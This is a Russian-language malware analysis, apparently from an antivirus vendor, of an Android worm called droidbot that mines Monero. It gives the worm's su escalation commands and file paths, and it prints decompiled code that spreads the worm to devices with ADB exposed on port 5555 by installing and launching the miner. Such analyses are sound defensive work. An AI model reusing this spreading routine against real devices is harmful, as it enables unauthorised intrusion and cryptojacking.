SHA1: c4e13a96b3eb308f88b3d1e16ea65bffcfb39fb0
Основной компонент червя, предназначенного для добычи на инфицированном Android-устройстве криптовалюты Monero (XMR).
С целью контроля повторного запуска droidbot выполняет команду "ps | grep droidbot". Если копия droidbot уже запущена, второй экземпляр процесса завершает свою работу. Затем приложение запускает файл "/data/local/tmp/invoke.sh", после чего удаляет следующие файлы:
/data/local/tmp/invoke.sh
/data/local/tmp/ddexe
/data/local/tmp/debuggerd
/data/local/tmp/install-recovery.sh
Затем droidbot проверяет, обладает ли его процесс правами суперпользователя (root). Если нет, но на устройстве присутствуют утилиты "/system/bin/su" или "/system/xbin/su", droidbot запускает свою копию с помощью su, а исходный процесс завершает:
su -c /data/local/tmp/nohup /data/local/tmp/droidbot
/data/local/tmp/nohup /data/local/tmp/droidbot
Если процесс запущен с правами суперпользователя, он создает два потока: в одном пытается инфицировать другие устройства, а в другом проверяет значение "ro.product.cpu.abi" в "/system/build.prop" с целью определения разрядности операционной системы. В зависимости от полученного результата запускает соответствующую версию майнера: "/data/local/tmp/xmrig64", или ""/data/local/tmp/xmrig32".
В непрерывном цикле троянец случайным образом генерирует IP-адрес и пытается подключиться к порту 5555. Он отсылает специальным образом сформированный пакет и проверяет ответ на него. В случае удачного соединения пытается взломать удаленное устройство следующим образом:
int __fastcall CheckAndInstall(char *szIP)
{
char *v1; // r4
signed int v2; // r5
v1 = szIP;
AdbConnect(szIP);
if ( !AdbGetState(v1) )
{
puts("[+] get devices");
v2 = AdbPsGrep(v1, "droidbot");
if ( !(AdbCat(v1, "/data/local/tmp/botsuinit_1_1.txt") | v2) )
{
puts("[+] our bin is running");
goto LABEL_5;
}
AdbRmRf(v1, "/data/local/tmp/");
AdbInstall(v1, "/data/local/tmp/droidbot.apk");
AdbAmStart(v1, "com.android.good.miner/com.example.test.MainActivity");
AdbPush(v1, "/data/local/tmp/sss", "/data/local/tmp/");
AdbPush(v1, "/data/local/tmp/nohup", "/data/local/tmp/");
AdbPush(v1, "/data/local/tmp/bot.dat", "/data/local/tmp/");
AdbChmod(v1, "/data/local/tmp/sss");
AdbChmod(v1, "/data/local/tmp/nohup");
AdbChmod(v1, "/data/local/tmp/bot.dat");
AdbShell(v1, "/data/local/tmp/nohup", "/data/local/tmp/sss");
sleep(30);
}
AdbDisconnect();
LABEL_5:
pthread_cond_signal(&unk_348EC);
return 0;
}